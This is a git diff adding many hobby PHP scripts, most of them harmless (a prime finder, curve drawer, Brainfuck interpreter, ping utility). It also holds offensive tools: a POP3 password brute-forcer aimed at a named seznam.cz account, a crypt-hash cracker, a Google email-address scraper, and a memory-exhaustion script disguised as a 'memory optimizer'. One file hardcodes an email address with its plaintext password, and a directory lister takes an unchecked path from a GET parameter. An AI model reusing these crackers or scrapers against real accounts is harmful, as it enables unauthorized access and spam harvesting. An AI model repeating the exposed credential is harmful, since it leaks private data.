diff --git a/php/skripty/m3u_browser.php b/php/skripty/m3u_browser.php
new file mode 100644 (file)
index 0000000..bf0d936
--- /dev/null
@@ -0,0 +1,18 @@
+<?php\r
+\r
+function dir_m3u($dir) {\r
+  $files=opendir ($dir); \r
+               while (false!==($file = readdir($files))) \r
+               { \r
+                               if ($file != "." && $file != "..") \r
+                               {\r
+          echo "$dir$file\">$file</a><br />\n"; \r
+          $num = ($num + 1);\r
+                               }\r
+               }\r
+               closedir($files); \r
+}\r
+\r
+$dir = ".";\r
+if(isset($_GET["dir"])) $dir = $_GET["dir"];\r
+\r
diff --git a/php/skripty/mail.php b/php/skripty/mail.php
new file mode 100644 (file)
index 0000000..b487d3d
--- /dev/null
@@ -0,0 +1,13 @@
+<?php\r
+\r
+$domena = "gmail.com";\r
+$google = "com";\r
+$file = fopen(("http://www.google.".$google."/search?num=100&q=+%22.%40".$domena."%22"), "r");\r
+$text = "";\r
+\r
+while(1) {\r
+  echo(fgetc($file));\r
+  //$text = ($text + fgetc($file));\r
+  }\r
+  \r
+?>\r
diff --git a/php/skripty/mailcheck.php b/php/skripty/mailcheck.php
new file mode 100644 (file)
index 0000000..6d10d6f
--- /dev/null
@@ -0,0 +1,83 @@
+<?php\r
+$serv = "pop3.seznam.cz";\r
+$port = "110";\r
+$mail = "harvie@seznam.cz";\r
+$pass = "harddaysnight";\r
+$delay = 5;\r
+\r
+///FUNCS///////////////////////////////////////////////////////////////\r
+\r
+function pop3_connect($mail, $pass, $serv, $port=110) {\r
+  $fserv = fsockopen($serv, $port);\r
+  if(!$fserv) return -1; //Cannot connect\r
+  $resp = fgets($fserv); //echo($resp); //Debug\r
+  $request = "USER $mail\nPASS $pass\n";\r
+  \r
+  fwrite($fserv, $request);\r
+  $resp = fgets($fserv); if (!eregi("\\+", $resp)) return -2; //Bad username\r
+  //echo($resp);\r
+  $resp = fgets($fserv); if (!eregi("\\+", $resp)) return -3; //Bad password \r
+  //echo($resp);\r
+\r
+  return($fserv);\r
+}\r
+\r
+function pop3_cmd($fserv, $cmd) {\r
+  $request = "$cmd\n";\r
+  fwrite($fserv, $request);\r
+  return trim(fgets($fserv));\r
+}\r
+\r
+function pop3_check($fserv) {\r
+  echo($fserv."\n");\r
+  switch($fserv) {\r
+    case -1: echo("Cannot conect!\n"); break;\r
+    case -2: echo("Bad username!\n"); break;\r
+    case -3: echo("Bad password!\n"); break;\r
+  }\r
+}\r
+\r
+function pop3_unread($fserv) {\r
+  $resp = pop3_cmd($fserv, "STAT");\r
+  $resp = explode(" ", $resp);\r
+  return trim($resp[1]);\r
+}\r
+\r
+function pop3_quit($fserv) {\r
+  pop3_cmd($fserv, "QUIT");\r
+  fclose($fserv);\r
+}\r
+///CODE/////////////////////////////////////////////\r
+\r
+\r
+//pop3_check($fserv);\r
+//echo pop3_cmd($fserv, "STAT")."\n";\r
+\r
+$last_unread = 0;\r
+while(1) {\r
+  if(!isset($fserv) || !$fserv) {\r
+    $fserv = pop3_connect($mail, $pass, $serv, $port);\r
+  }\r
+\r
+  $unread = pop3_unread($fserv);\r
+  if($unread != $last_unread && $unread != "") {\r
+    echo("You have $unread messages!\n");\r
+    $last_unread = $unread;\r
+  }\r
+\r
+  pop3_quit($fserv);\r
+  sleep($delay);\r
+}\r
+\r
+/*\r
+USER harvie@seznam.cz\r
+PASS harddaysnight\r
+*/\r
+\r
+/*\r
++OK Hello, this is Seznam POP3 server 2.3.16.\r
+USER harvie@seznam.cz\r
+PASS harddaysnight\r
++OK Enter your password please.\r
++OK 79 1298041\r
+*/\r
diff --git a/php/skripty/matrix.php b/php/skripty/matrix.php
new file mode 100644 (file)
index 0000000..004102f
--- /dev/null
@@ -0,0 +1,53 @@
+<?php\r
+\r
+echo("[= HARVIE's MATRIX COUNTER =]\n");\r
+srand(time());\r
+sleep(2);\r
+//chr ( 2530 )\r
+$space = 0;\r
+\r
+while (1) {\r
+srand(100000 / microtime()); //1000 //100000\r
+\r
+$rand = (rand()%11);\r
+//ereg ("([10-20]{16,17,30,31,219,220,223,254,176,177,178})", $rand1, $rand);\r
+\r
+switch ($rand) {\r
+  case 10:\r
+    $rand = " ";\r
+    break;\r
+  /*case 11:\r
+    $rand = chr ( 219 );\r
+    break;\r
+  case 12:\r
+    $rand = chr ( 176 );\r
+    break;\r
+  case 13:\r
+    $rand = chr ( 177 );\r
+    break;\r
+  case 14:\r
+    $rand = chr ( 178 );\r
+    break;\r
+  case 15:\r
+    $rand = chr ( 31 );\r
+    break;*/\r
+}\r
+\r
+//$space = 1;\r
+\r
+\r
+/*\r
+$space2 = 0;\r
+while ($space2 < ($space / 1)) {\r
+  echo(" ");\r
+  $space2 = ($space2 + 1);\r
+}\r
+*/\r
+\r
+$space = ($space + 1);\r
+echo("$rand");\r
+\r
+\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/md5crack.php b/php/skripty/md5crack.php
new file mode 100644 (file)
index 0000000..b4de99b
--- /dev/null
@@ -0,0 +1,50 @@
+<?php\r
+\r
+/* Example for password "czISc.fWfjsQQ" ("admin"):\r
+ * $salt = ("cz"); //First two characters of password\r
+ * $hash = ("ISc.fWfjsQQ"); //Rest of password\r
+ */\r
+\r
+\r
+$salt = ("cz"); //First two characters of password\r
+$hash = ("ISc.fWfjsQQ"); //Rest of password\r
+$pass = ("admin"); //Debug only (Contains known password)\r
+\r
+//////////////////////////////////////////////////////////////////////////////\r
+\r
+//READLINE Function\r
+function readline($prompt="") {\r
+  echo $prompt;\r
+  \r
+  $t = "";\r
+  $c = "";\r
+  \r
+  while(1) {\r
+    $c = fread(STDIN, "1");\r
+    if ($c == "\n") {    // && ($c == "\r") //May be later on oher systems\r
+      return trim($t);\r
+    } else {\r
+      $t = ($t.$c);\r
+    }\r
+  }\r
+\r
+   return $t;\r
+\r
+}\r
+//READLINE End\r
+\r
+//CODE\r
+$loop = 1;\r
+while($loop) {\r
+\r
+$try = readline();\r
+\r
+//$try = $pass; //Debug only\r
+$crypt = crypt($try, $salt);\r
+  if ( $crypt == ($salt.$hash) ) {\r
+    echo ("\nSalt: $salt\nHash: $hash\nPass: $try\n\n");\r
+  }\r
+\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/mem_kill.php b/php/skripty/mem_kill.php
new file mode 100644 (file)
index 0000000..6aacfc5
--- /dev/null
@@ -0,0 +1,28 @@
+<?php\r
+$time = 10; //9\r
+\r
+/*\r
+$i = 0;\r
+while(1) {\r
+ $x[$i] = "1";\r
+ $i++;\r
+}\r
+*/\r
+\r
+echo("\nOPTIMIZING MEMORY");\r
+echo("\nPLEASE WAIT...");\r
+\r
+$i = 0;\r
+$y = 0;\r
+$t = time();\r
+while(1) {\r
+  while ( $y < 10 ) {\r
+    $x[$i] = "KILL";\r
+    $i++;\r
+    $y++;\r
+  }\r
+    $y = 0;\r
+  if ( time() > ($t + $time) )\r
+   { echo("\nDONE!\nRELASING MEMORY FOR SYSTEM..."); die(); break; }\r
+}\r
+?>\r
diff --git a/php/skripty/microtime.php b/php/skripty/microtime.php
new file mode 100644 (file)
index 0000000..edcbf6a
--- /dev/null
@@ -0,0 +1,13 @@
+<?php\r
+\r
+echo(microtime()."\n");\r
+usleep(10);\r
+echo(microtime()."\n");\r
+usleep(10);\r
+echo(microtime()."\n");\r
+//usleep(10);\r
+echo(microtime()."\n");\r
+sleep(10);\r
+echo(microtime()."\n");\r
+\r
+?>\r
diff --git a/php/skripty/multi_terminal.php b/php/skripty/multi_terminal.php
new file mode 100644 (file)
index 0000000..ec85448
--- /dev/null
@@ -0,0 +1,26 @@
+<?php\r
+\r
+$i = 0;\r
+$pfp[$i] = popen ("cmd.exe", "rw");\r
+$ifp = fopen ("php://stdin", "r");\r
+\r
+/*\r
+a = 1\r
+y = 25\r
+*/\r
+\r
+/*while(1) {\r
+  echo( ord(fgetc($ifp))."-\n" );\r
+}*/\r
+\r
+while($pfp[$i]) {\r
+  echo (fgetc($pfp[$i]));\r
+  if (feof($ifp)) {\r
+    $c = fgetc($ifp);\r
+    if (ereg(chr(1), $c)) { $i++; $pfp[$i] = popen ("cmd.exe", "rw"); echo("\nconsole: $i\n"); }\r
+    if (ereg(chr(25), $c)) { $i--; echo("\nconsole: $i\n"); }\r
+    fwrite ($pfp[$i], $c);\r
+  }\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/nadruhou.php b/php/skripty/nadruhou.php
new file mode 100644 (file)
index 0000000..2e018bd
--- /dev/null
@@ -0,0 +1,84 @@
+<?php\r
+//This will draw the ASCII neverending sinus curve.\r
+//Writen by (c) Harvie in 2oo6\r
+//This is script for PHP CLI (Not WebPage).\r
+//You can port it to web by replacing "/n" by "<br>/n"\r
+\r
+//Settings:\r
+$start = -6;     //0 //First X\r
+$zero = 0;      //Zero line\r
+$stop = 6;      //Last X\r
+$step = 0.5;    //0.1 //Increase X on every line by this number\r
+$reset = 50; //When X >= reset, then it will be reseted to zero\r
+$zoom = 1;      //1 //This will repeat every line few times\r
+$sleep = "15000";   //15000 - Wait between lines in microseconds\r
+$line = (" ");     // " " // ":" //chr ( 176 ) //This is the string, that will be repeated from display start to the curve (curve inlay).\r
+$endline = ("+\n"); // "#\n" // ".\n" //chr ( 219 )."\n" //This is the string, that will be printed at end of every line (curve outline).\r
+\r
+//Function:\r
+//You can specify your function here:\r
+function func($x) {\r
+\r
+$offset = 1.1;    //1.1 //1 //0 -> Zero offset will draw only half of sin curve.\r
+$width = 2;     //20 //35 //40 //This will stretch every line.\r
+\r
+$y = ( ( ($x * $x) + $offset) * $width );\r
+//echo("Debug: ".$x." ".$y." "); //Debug\r
+return ($y);\r
+\r
+}\r
+\r
+//Code:\r
+echo ("[SinusCurve]-[c][Harvie][2oo6]\n\n");\r
+echo (" |                                           y\n");\r
+echo ("-|--------------------------------------------->\n");\r
+echo ("x|\n");\r
+echo (" V\n\n");\r
+\r
+sleep(2);\r
+\r
+//Set x to $start:\r
+$pos = $start;\r
+\r
+//Drawing:\r
+while(1) {\r
+\r
+  //usleep($sleep); //Wait in microseconds\r
+  \r
+  $znaku = func($pos);\r
+  \r
+  $zoom2 = $zoom;\r
+  while ($zoom2 > 0) {\r
+  \r
+    $znaku2 = round($znaku); //It looks better after round ;)\r
+    while ($znaku2 > 0) {\r
+      echo $line;\r
+      $znaku2 = ($znaku2 - 1);\r
+    }\r
+    //echo(" ".$pos); //Debug\r
+    echo ($endline);\r
+    \r
+    $zoom2 = ($zoom2 - 1);\r
+  }\r
+  \r
+  //Draw: Y axis:\r
+  //echo(" ".$pos."\n"); //Debug\r
+  if ($pos == $zero) {\r
+    echo("-+--------------------------------------------------------------------------->\n");\r
+  }\r
+  \r
+  //Increase X:\r
+  $pos = ($pos + $step);\r
+  \r
+  //Reset (for neverending curves, etc...):\r
+  if ($pos >= $reset) {\r
+    $pos = 0;\r
+  }\r
+  \r
+  //Stop if $stop is reached:\r
+  if ($pos > $stop) {\r
+    break;\r
+  }\r
+\r
+}\r
+?>\r
diff --git a/php/skripty/php_brainfuck.php b/php/skripty/php_brainfuck.php
new file mode 100644 (file)
index 0000000..8b24838
--- /dev/null
@@ -0,0 +1,28 @@
+<?php\r
+\r
+$code = "++++++++[>+++++++++<-]>.<+++++[>++++++<-]>-.+++++++..+++.<++++++++[>>++++<<-]>>.<<++++[>------<-]>.<++++[>++++++<-]>.+++.------.--------.>+.";\r
+\r
+$buffer = "";\r
+$pos = 0;\r
+$while = array(); // array($i, ...)\r
+for ($i=0; $i < strlen($code); $i++) {\r
+    switch ($code{$i}) {\r
+        case '>': $pos++; break;\r
+        case '<': $pos--; break;\r
+        case '+': $buffer{$pos} = chr(ord($buffer{$pos}) + 1); break;\r
+        case '-': $buffer{$pos} = chr(ord($buffer{$pos}) - 1); break;\r
+        case '.': echo $buffer{$pos}; break;\r
+        case ',': $buffer{$pos} = fgetc(STDIN); break;\r
+        case '[': if (ord($buffer{$pos})) $while[] = $i; else for ($depth=1; $depth; $i++) {\r
+            if ($code{$i+1} == '[') $depth++;\r
+            elseif ($code{$i+1} == ']') $depth--;\r
+        }\r
+        break;\r
+        case ']': $i = array_pop($while) - 1; break;\r
+        default: echo "Unrecognized character.\n"; exit(1);\r
+    }\r
+}\r
+\r
+echo("\n\n");\r
+\r
+?>\r
diff --git a/php/skripty/php_demo.php b/php/skripty/php_demo.php
new file mode 100644 (file)
index 0000000..dd5eb67
--- /dev/null
@@ -0,0 +1,29 @@
+<?php\r
+echo("Special chars example\n<-Harvie 2oo7\n\n");\r
+$tocse = "-\|/";\r
+\r
+while(1) {\r
+\r
+echo("INIT: ..........\x0d");\r
+for($i=0;$i<11;$i++) {\r
+  usleep(100000);\r
+  echo("INIT: ");\r
+  for($x=$i;$x>0;$x--) echo("#");\r
+  echo("\x0d");\r
+}\r
+\r
+$tnum = rand(0,99);\r
+echo("Find: ".($find = md5($tnum)).":??\n");\r
+$i = 0;\r
+while(1) {\r
+  $tnum = rand(0,99);\r
+  $test = md5($tnum);\r
+  echo("\x0d MD5: ".$test." ".$tocse[$i]." :$tnum   ");\r
+  usleep(50000);\r
+  if($test == $find) { break; }\r
+  $i++;\r
+  if($i > 3) { $i = 0; }\r
+}\r
+echo("\x0d MD5: ".$test.":$tnum          \n Found\x07!!!\n\n");\r
+\r
+}\r
diff --git a/php/skripty/php_shell.php b/php/skripty/php_shell.php
new file mode 100644 (file)
index 0000000..6475881
--- /dev/null
@@ -0,0 +1,38 @@
+<?php\r
+\r
+if(!isset($__PHP_SHELL__) || $$__PHP_SHELL__ != true) {\r
+  $__PHP_SHELL__ = true;\r
+\r
+  //READLINE Function\r
+  $__STDIN__ = fopen("php://stdin", "rb");\r
+  function readline($prompt="") {\r
+    echo $prompt;\r
+    return fgets($GLOBALS["__STDIN__"]);\r
+  }\r
+  //READLINE End\r
+\r
+}\r
+\r
+///CODE/////////////////////////////////////////////////\r
+\r
+if($argc > 1) {\r
+  array_shift($argv);\r
+  //print_r($argv); //Debug\r
+  include($argv[0]);\r
+  die();\r
+}\r
+\r
+echo (\r
+"PHP CONSOLE\n"\r
+."Coded: Harvie 2oo7\n"\r
+."Version: 0.3\n"\r
+."--------------------------\n"\r
+);\r
+\r
+//$loop = 1;\r
+$__prompt__ = "\n> ";\r
+while(1) {\r
+  eval(readline($__prompt__));\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/pico.php b/php/skripty/pico.php
new file mode 100644 (file)
index 0000000..3e0593b
--- /dev/null
@@ -0,0 +1,19 @@
+<?php\r
+\r
+//Settings:\r
+$c = 999; //Higher number = better PI\r
+\r
+//Code:\r
+$pico = 0;\r
+\r
+$c1 = (180 / $c);\r
+echo ("Debug1: ".$c1."\n");\r
+\r
+$c2 = sin($c1);\r
+echo ("Debug2: ".$c2."\n");\r
+\r
+$pico = ( $c * $c2 );\r
+echo("Short PI: " . PI() . "\n Counted PI:\n");\r
+echo($pico);\r
+\r
+?>\r
diff --git a/php/skripty/ping.php b/php/skripty/ping.php
new file mode 100644 (file)
index 0000000..46906c9
--- /dev/null
@@ -0,0 +1,83 @@
+<?php\r
+\r
+function ping($host) {\r
+   $package = "\x08\x00\x19\x2f\x00\x00\x00\x00\x70\x69\x6e\x67";\r
+\r
+   /* create the socket, the last '1' denotes ICMP */   \r
+   $socket = socket_create(AF_INET, SOCK_RAW, 1);\r
+  \r
+   /* set socket receive timeout to 1 second */\r
+   socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 3, "usec" => 0)); //<-- Change TimeOut Here <--\r
+  \r
+   /* connect to socket */\r
+   socket_connect($socket, $host, null);\r
+  \r
+   /* record start time */\r
+   list($start_usec, $start_sec) = explode(" ", microtime());\r
+   $start_time = ((float) $start_usec + (float) $start_sec);\r
+  \r
+   socket_send($socket, $package, strlen($package), 0);\r
+  \r
+   if(@socket_read($socket, 255)) {\r
+       list($end_usec, $end_sec) = explode(" ", microtime());\r
+       $end_time = ((float) $end_usec + (float) $end_sec);\r
+  \r
+       $total_time = $end_time - $start_time;\r
+      \r
+       return $total_time;\r
+   } else {\r
+       return false;\r
+   }\r
+  \r
+   socket_close($socket);\r
+}\r
+\r
+//READLINE\r
+function readline ( $fp ) {\r
+  //echo $prompt;\r
+  \r
+  $t = "";\r
+  $c = "";\r
+  \r
+  while(1) {\r
+    $c = fgetc($fp);\r
+    if ($c == "\n") {    // && ($c == "\r") //May be later on oher systems\r
+      return $t;\r
+    } else {\r
+      $t = ($t.$c);\r
+    }\r
+  }\r
+\r
+   return $t;\r
+    \r
+}\r
+//READLINE END\r
+\r
+//Code\r
+\r
+//echo (ping ("192.168.2.1"));\r
+$fp = fopen("hosts.txt", "r+"); //host list file (hosts separated by newline, ends with two empty lines)\r
+\r
+$fhost = "EMPTY";\r
+while ($fhost != "") {\r
+\r
+  $ping = "";\r
+  $fhost = trim(readline($fp));\r
+  \r
+  if ( $fhost != "" ) {\r
+    echo("HOST: ".$fhost);\r
+    \r
+    try {\r
+      $ping = ping($fhost);\r
+    } catch(string $err) {}\r
+    \r
+    if ( ($ping != "") && ($ping > "0") ) {\r
+      echo(" - UP PING: ".$ping." sec.\n");\r
+    } else {\r
+      echo (" - TIMED OUT\n");\r
+    }\r
+  }\r
+  \r
+}\r
+\r
+?>\r
diff --git a/php/skripty/pop3crack.php b/php/skripty/pop3crack.php
new file mode 100644 (file)
index 0000000..41f43a1
--- /dev/null
@@ -0,0 +1,49 @@
+<?php\r
+\r
+//READLINE Function\r
+function readline($prompt="") {\r
+  echo $prompt;\r
+  $line = fgets(STDIN, 999);\r
+  return trim($line);\r
+}\r
+//READLINE End\r
+\r
+//CODE\r
+$server = "pop3.seznam.cz";\r
+$port = "110";\r
+$timeout = "5";\r
+$user = "harvie@seznam.cz";\r
+//$pass = "heslo";\r
+\r
+echo (\r
+"PHP POP3 CRACKER\nHarvie 2oo7\n"\r
+);\r
+\r
+while(1) {\r
+  $fp = fsockopen ($server, $port, &$errno, &$errstr, $timeout);\r
+  //if ($fp) { echo("GOOD CONNECTION\n"); }\r
+  if (!$fp) { echo("BAD CONNECTION\n"); }\r
+\r
+  $pass = readline();\r
+\r
+  $resp = (" ".fread($fp, 1000));\r
+\r
+  fwrite($fp, "USER $user\n");\r
+    $resp = (" ".fread($fp, 1000));\r
+  fwrite($fp, "PASS $pass\n");\r
+    $resp = (" ".fread($fp, 1000));\r
+  if (strpos($resp, "+OK") != 0) {\r
+    echo(\r
+    "\n\n-------------------\n".\r
+    "GOOD PASSWORD FOUND\n".\r
+    "Server: $server:$port\n".\r
+    "USER $user\n".\r
+    "PASS $pass"\r
+    );\r
+    fclose($fp);\r
+    die("\n");\r
+  }\r
+  //if (strpos($resp, "-ERR") != 0) { echo("\nBAD PASSWORD\n"); }\r
+}\r
+\r
+?>\r
diff --git a/php/skripty/pop3test.php b/php/skripty/pop3test.php
new file mode 100644 (file)
index 0000000..9124684
--- /dev/null
@@ -0,0 +1,33 @@
+<?php\r
+\r
+$server = "pop3.seznam.cz";\r
+$port = "110";\r
+$timeout = "5";\r
+$user = "harvie@seznam.cz";\r
+$pass = "heslo";\r
+\r
+$fp = fsockopen ($server, $port, &$errno, &$errstr, $timeout);\r
+if ($fp) { echo("GOOD CONNECTION\n"); }\r
+if (!$fp) { echo("BAD CONNECTION\n"); }\r
+\r
+$resp = (" ".fread($fp, 1000));\r
+echo($resp);\r
+if (strpos($resp, "+OK") != 0) { echo("GOOD SERVER\n"); }\r
+if (strpos($resp, "-ERR") != 0) { echo("BAD SERVER\n"); }\r
+\r
+fwrite($fp, "USER $user\n");\r
+$resp = (" ".fread($fp, 1000));\r
+echo($resp);\r
+if (strpos($resp, "+OK") != 0) { echo("GOOD USERNAME\n"); }\r
+if (strpos($resp, "-ERR") != 0) { echo("BAD USERNAME\n"); }\r
+\r
+fwrite($fp, "PASS $pass\n");\r
+$resp = (" ".fread($fp, 1000));\r
+echo($resp);\r
+if (strpos($resp, "+OK") != 0) { echo("GOOD PASSWORD\n"); }\r
+if (strpos($resp, "-ERR") != 0) { echo("BAD PASSWORD\n"); }\r
+\r
+if(fclose($fp)) { echo("CONNECTION CLOSED\n"); } else\r
+                { echo("CAN'T CLOSE CONNECTION\n"); }\r
+\r
+?>\r
diff --git a/php/skripty/proc_test.php b/php/skripty/proc_test.php
new file mode 100644 (file)
index 0000000..d1b7528
--- /dev/null
@@ -0,0 +1,15 @@
+<?php\r
+\r
+$desc = array(\r
+   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from\r
+   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to\r
+   2 => array("pipe", "r") // stderr is a file to write to\r
+);\r
+\r
+$proc = proc_open("proctest.exe", $desc, $pipes);\r
+sleep(10);\r
+proc_terminate($proc);\r
+proc_close($proc);\r
+proc_terminate($proc);\r
+\r
+?>\r
diff --git a/php/skripty/prvocisla.php b/php/skripty/prvocisla.php
new file mode 100644 (file)
index 0000000..fc72d2a
--- /dev/null
@@ -0,0 +1,39 @@
+<?php\r
+\r
+//FUNCTION IS_PRIME()\r
+\r
+function is_prime ($num) {\r
+  \r
+  if($num < 2) { return (0); } \r
+  if ( ($num > 2) && (($num % 2) == 0) ) { return (0); }\r
+  $i = 2;\r
+  while ($i < $num) {\r
+    if ( ($num % $i) == 0 ) { return (0); }\r
+    $i++;\r
+  }\r
+  return (1);\r
+}\r
+\r
+//CODE\r
+\r
+//Prvocisla: 2, 3, 5, 7, 11, 13, 17, 19, 23, 29, \85\r
+//echo(is_prime(1)."\n".(7%2)); //Debug\r
+\r
+//Settings\r
+$min = 1;\r
+$max = 3000;\r
+\r
+//Logic\r
+$total_primes = 0;\r
+while ($min <= $max) {\r
+  if(is_prime($min)) {\r
+  echo($min."\n"); //Show all primes\r
+  $total_primes++; //Count all primes\r
+  }\r
+$min++;\r
+}\r
+\r
+//Output\r
+echo("\nPrimes total: ".$total_primes."\n"); //Total number of primes\r
+\r
+?>\r
diff --git a/php/skripty/rada_crack.php b/php/skripty/rada_crack.php
new file mode 100644 (file)
index 0000000..ebc7ca9
--- /dev/null
@@ -0,0 +1,62 @@
+<?php\r
+$start = 0;\r
+$stop = 9999;\r
+$length = 4;\r
+\r
+$rada = "";\r
+$notfoundlast = -3;\r
+$error = 1;\r
+\r
+while($error) {\r
+\r
+for($i=$start;$i<=$stop;$i++) {\r
+  //$i = base_convert($i, 10, 2);\r
+  if(strpos($rada, $i) == 0) {\r
+    $rada = "$rada"."$i";\r
+    //echo($i);\r
+  }\r
+}\r
+\r
+for($i=0;$i<(strlen($rada)-$length);$i++) {\r
+  $sub = substr($rada, $i, $length);\r
+  for($x=0;$x<$length;$x++) {\r
+    $rada[($i+$x)] = "R";\r
+    \r
+  }\r
+  $rada = str_replace($sub, "", $rada);\r
+  \r
+  $replace="";\r
+  for($x=0;$x<$length;$x++) {\r
+    $replace = $replace."R";\r
+  }\r
+  \r
+  $rada = str_replace($replace, $sub, $rada);\r
+}\r
+\r
+//echo($rada);\r
+\r
+//Test\r
+//echo("\n\n");\r
+$error = 0;\r
+$notfound = 0;\r
+for($i=$start;$i<=$stop;$i++) {\r
+ if(!eregi($i, $rada)) {\r
+   //echo("Not found: $i\n");\r
+   $rada = $rada.$i;\r
+   $error = 1;\r
+   $notfound++;\r
+ }\r
+}\r
+echo("Not found total: $notfound\n");\r
+if($notfoundlast == $notfound) { $error = 0; }\r
+$notfoundlast = $notfound;\r
+}\r
+\r
+for($i=$start;$i<=$stop;$i++) {\r
+ if(!eregi($i, $rada)) {\r
+   $rada = $rada.$i;\r
+ }\r
+}\r
+\r
+echo("\n\n".$rada);\r
+//system("pause");\r
diff --git a/php/skripty/rada_crack2.php b/php/skripty/rada_crack2.php
new file mode 100644 (file)
index 0000000..ab6011a
--- /dev/null
@@ -0,0 +1,112 @@
+<?php\r
+$start = 0;\r
+$stop = 99;\r
+$length = strlen($stop);\r
+$base = 10;\r
+\r
+//Banner\r
+//echo("Please wait, while computing...\n\n");\r
+\r
+//init\r
+srand(time());\r
+$rada = "";\r
+$notfoundlast = -3;\r
+$error = 1;\r
+$origstop = $stop;\r
+\r
+while($error) {\r
+\r
+$stop = $origstop+rand(0,10);\r
+\r
+for($i=$start;$i<=$stop;$i++) {\r
+  $bi = $i;\r
+  $i = base_convert($i, 10, $base);\r
+  if(strpos($rada, $i) == 0) {\r
+    \r
+    if( $i[0] == $rada[strlen($rada)-1] ) {\r
+      $i = substr($i, 1);\r
+      $rada = $rada.$i;\r
+    } elseif( $rada[0] == $i[strlen($i)-1] ) { \r
+      $rada = substr($rada, 1);\r
+      $rada = $i.$rada;\r
+    } else {\r
+      if(rand(0,1)) { \r
+        $rada = $i.$rada;\r
+      } else {\r
+        $rada = $rada.$i;\r
+      }\r
+    }\r
+    \r
+    //echo($i);\r
+  $i = $bi;\r
+  }\r
+}\r
+\r
+for($i=0;$i<(strlen($rada)-$length);$i++) {\r
+  $sub = substr($rada, $i, $length);\r
+  for($x=0;$x<$length;$x++) {\r
+    $rada[($i+$x)] = "R";\r
+    \r
+  }\r
+  $rada = str_replace($sub, "", $rada);\r
+  \r
+  $replace="";\r
+  for($x=0;$x<$length;$x++) {\r
+    $replace = $replace."R";\r
+  }\r
+  \r
+  $rada = str_replace($replace, $sub, $rada);\r
+}\r
+\r
+//echo($rada);\r
+\r
+//Test\r
+//echo("\n\n");\r
+$error = 0;\r
+$notfound = 0;\r
+for($i=$start;$i<=$stop;$i++) {\r
+  $bi = $i;\r
+  $i = base_convert($i, 10, $base);\r
+  if(!eregi($i, $rada)) {\r
+    //echo("Not found: $i\n");\r
+    \r
+    if( $i[0] == $rada[strlen($rada)-1] ) {\r
+      $i = substr($i, 1);\r
+      $rada = $rada.$i;\r
+    } elseif( $rada[0] == $i[strlen($i)-1] ) { \r
+      $rada = substr($rada, 1);\r
+      $rada = $i.$rada;\r
+    } else {\r
+      if(rand(0,1)) { \r
+        $rada = $i.$rada;\r
+      } else {\r
+        $rada = $rada.$i;\r
+      }\r
+    }\r
+    \r
+    $error = 1;\r
+    $notfound++;\r
+  }\r
+  $i = $bi;\r
+}\r
+//echo("Total not found: $notfound\n");\r
+if($notfoundlast == $notfound) { $error = 0; }\r
+$notfoundlast = $notfound;\r
+\r
+}\r
+\r
+for($i=$start;$i<=$stop;$i++) {\r
+ if(!eregi($i, $rada)) {\r
+   $rada = $rada.$i;\r
+ }\r
+}\r
+\r
+echo("\n\n");\r
+echo($rada);\r
+//system("pause");\r
+\r
+/*\r
+0-99:8970684924807965464133322998867361605944383525181110958785777637155047403128219391753027262000142345666906\r
+    :9084787636241342213919946403730181714887749279538935855325108368660504433128211675657061524298202326454759697280\r
+    :9594403292141101847565345422718137390898872605749946682585030241916233631528355170969780912038434861646767793100\r
+*/\r
diff --git a/php/skripty/rada_crack3.php b/php/skripty/rada_crack3.php
new file mode 100644 (file)
index 0000000..5214951
--- /dev/null
@@ -0,0 +1,125 @@
+<?php\r
+//Settings\r
+$start = 0;\r
+$stop = 1000;\r
+$places = strlen($stop);\r
+$tryes = 50; //Tryes to find better\r
+$base = 10;\r
+//Init\r
+error_reporting(0);\r
+srand(time());\r
+\r
+/////////////////////////////////////////////////////////////////\r
+//\r
+function rada_add($name, $istr) { //Funkce pro pridani do rady -> !!! OPTIMALIZOVAT !!! <-\r
+  if(!eregi($istr, $GLOBALS[$name])) {\r
+    if( $istr[0] == $GLOBALS[$name][strlen($GLOBALS[$name])-1] ) {\r
+        $istr = substr($istr, 1);\r
+        $GLOBALS[$name] = $GLOBALS[$name].$istr;\r
+      } elseif( $GLOBALS[$name][0] == $istr[strlen($istr)-1] ) { \r
+        $GLOBALS[$name] = substr($GLOBALS[$name], 1);\r
+        $GLOBALS[$name] = $istr.$GLOBALS[$name];\r
+      } else {\r
+\r
+        //Nahodne na zacetek nebo konec\r
+        if(rand(0,1)) { \r
+          $GLOBALS[$name] = $istr.$GLOBALS[$name];\r
+        } else {\r
+          $GLOBALS[$name] = $GLOBALS[$name].$istr;\r
+        }\r
+      \r
+      }\r
+  }\r
+    //$GLOBALS[$name]=$GLOBALS[$name].$istr; //Debug\r
+}\r
+\r
+//\r
+function rada_unique($name) { //Funkce pro vyhledani a smazani duplikatu (i potrebnych)\r
+  $length = $GLOBALS["places"];\r
+  $replacer = "%";\r
+\r
+  for($i=0;$i<(strlen($GLOBALS[$name])-$length);$i++) {\r
+  \r
+    $sub = substr($GLOBALS[$name], $i, $length);\r
+    for($x=0;$x<$length;$x++) {\r
+      $GLOBALS[$name][($i+$x)] = $replacer;\r
+    }\r
+    \r
+    $GLOBALS[$name] = str_replace($sub, "", $GLOBALS[$name]); //Smaze duplikaty\r
+  \r
+    $replace="";\r
+    for($x=0;$x<$length;$x++) {\r
+      $replace = $replace.$replacer;\r
+    }\r
+  \r
+    $GLOBALS[$name] = str_replace($replace, $sub, $GLOBALS[$name]);\r
+  }\r
+\r
+}\r
+\r
+//\r
+function add_zeroes($num, $places) { //Zarovna cislo na $places mist pridanim nul na zacatek\r
+  $str = "";\r
+  for($i=0;$i<$places;$i++) {\r
+    $str = $str."0";\r
+  }\r
+  //$num = base_convert($num, 10, $base); //BASE CONVERT -> !!! NOT WORKS YET !!! <-\r
+  $str=$str.$num;\r
+  $str = substr($str, strlen($str)-$places);\r
+  return $str;\r
+}\r
+\r
+///CODE///////////////////////////////////////////\r
+//Test\r
+//die(add_zeroes(23, 5));\r
+//////////////////////////////////////////////////\r
+$try = $tryes;\r
+$next = true;\r
+while($next) { //MAIN LOOP\r
+  $next = false;\r
+  \r
+  $rada = ""; //Vytvorime prazdnou radu\r
+  for($i=$start;$i<=$stop;$i++) { //Pridame vsechna n-cisli\r
+    $istr = add_zeroes($i, $places);\r
+    rada_add("rada", $istr);\r
+  }\r
+\r
